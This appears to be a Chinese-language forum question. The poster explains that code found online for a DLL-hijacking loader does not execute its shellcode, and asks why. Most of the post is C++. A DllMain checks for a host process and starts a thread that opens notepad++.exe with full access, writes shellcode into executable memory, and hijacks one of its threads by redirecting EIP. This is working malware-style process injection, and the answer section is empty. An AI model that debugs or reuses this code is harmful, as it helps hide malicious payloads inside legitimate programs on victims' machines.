dll劫持创建线程shellcode注入问题

问题描述

主要代码

DWORD WINAPI ThreadFunctionTargetProcessHandle(LPVOID lpParameter)
{
    LPVOID remoteBuffer;
    HANDLE targetProcessHandle=NULL;
    BOOL didWeCopy = FALSE;

    PROCESSENTRY32 entry;
    THREADENTRY32 threadEntry;
    entry.dwSize = sizeof(PROCESSENTRY32);
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
    HANDLE threadHijacked = NULL;
    DWORD idProcess = 0;        // ThreadID
    CONTEXT context;


    context.ContextFlags = CONTEXT_FULL;

    if (Process32First(snapshot,&entry) == TRUE)
    {
        while (Process32Next(snapshot,&entry) == TRUE)
        {   
            //stricmp wcscmp
            if (stricmp(entry.szExeFile,"notepad++.exe") == 0)
            {
                MessageBox(0,std::to_string(entry.th32ProcessID).c_str(),"okk Attached",MB_ICONINFORMATION);
                targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,entry.th32ProcessID);
                idProcess = entry.th32ProcessID;
                MessageBox(0,"From Process32First\n","Process32First Attached",MB_ICONINFORMATION);
                break;
            }
        }
    }
    if (targetProcessHandle) {

        remoteBuffer = VirtualAllocEx(targetProcessHandle,NULL,SHELLCODELEN,(MEM_RESERVE | MEM_COMMIT),PAGE_EXECUTE_READWRITE);

        if (remoteBuffer == NULL)
            return -1;

        // Copy the shellcode into the memory we just created 
        didWeCopy = WriteProcessMemory(targetProcessHandle,remoteBuffer,shellcode,NULL);

        if (!didWeCopy)
            return -2;


        HANDLE snapshotThread = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
        Thread32First(snapshotThread,&threadEntry);
        while (Thread32Next(snapshotThread,&threadEntry))
        {
            if (threadEntry.th32OwnerProcessID == idProcess)
            {
                threadHijacked = OpenThread(THREAD_ALL_ACCESS,threadEntry.th32ThreadID);
                break;
            }
        }

        SuspendThread(threadHijacked);

        GetThreadContext(threadHijacked,&context);

        //RIP --- x64体系
        //EIP-- - x86体系

        //FixShellCode(context.Eip,(DWORD)MessageBox);
        context.Eip = (DWORD_PTR)remoteBuffer;
        SetThreadContext(threadHijacked,&context);

        ResumeThread(threadHijacked);
    }
    CloseHandle(snapshot);

    MessageBox(0,"From CloseHandle(snapshot);\n","CloseHandle(snapshot); Attached",MB_ICONINFORMATION);
    return 0;
}

DllMain

BOOL APIENTRY DllMain(HMODULE hModule,DWORD dwReason,PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);

        if (Load() && Init())
        {
            TCHAR szAppName[MAX_PATH] = TEXT("QMProxyAcceler.exe");//请修改宿主进程名
            TCHAR szCurName[MAX_PATH];

            GetModuleFileName(NULL,szCurName,MAX_PATH);
            PathStripPath(szCurName);
        
            /*ThreadFunctionZZZ();*/
            /*HANDLE threadHandle = CreateThread(NULL,ThreadFunctionXXX,NULL);
            CloseHandle(threadHandle);*/
            

            //是否判断宿主进程名
            if (StrCmpI(szCurName,szAppName) == 0)
            {
                MessageBox(0,"szAppName okk\n","szAppName same",MB_ICONINFORMATION);
                
                //启动补丁线程或者其他操作
                HANDLE hThread = CreateThread(NULL,ThreadProc,NULL);
                if (hThread)
                {
                    CloseHandle(hThread);
                }

                HANDLE threadHandle = CreateThread(NULL,ThreadFunctionTargetProcessHandle,NULL);
                CloseHandle(threadHandle);
                //EnableDebugPriv();
                

    
            }
        }
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
        Free();
    }

    return TRUE;
}

运行宿主程序后，弹出测试消息框。 宿主程序正常运行。 但是shellcode没有运行。

我检查了它是否已写入 notepad++ 的内存中：

代码都是在网上找到的。不知道问题出在哪里。

解决方法

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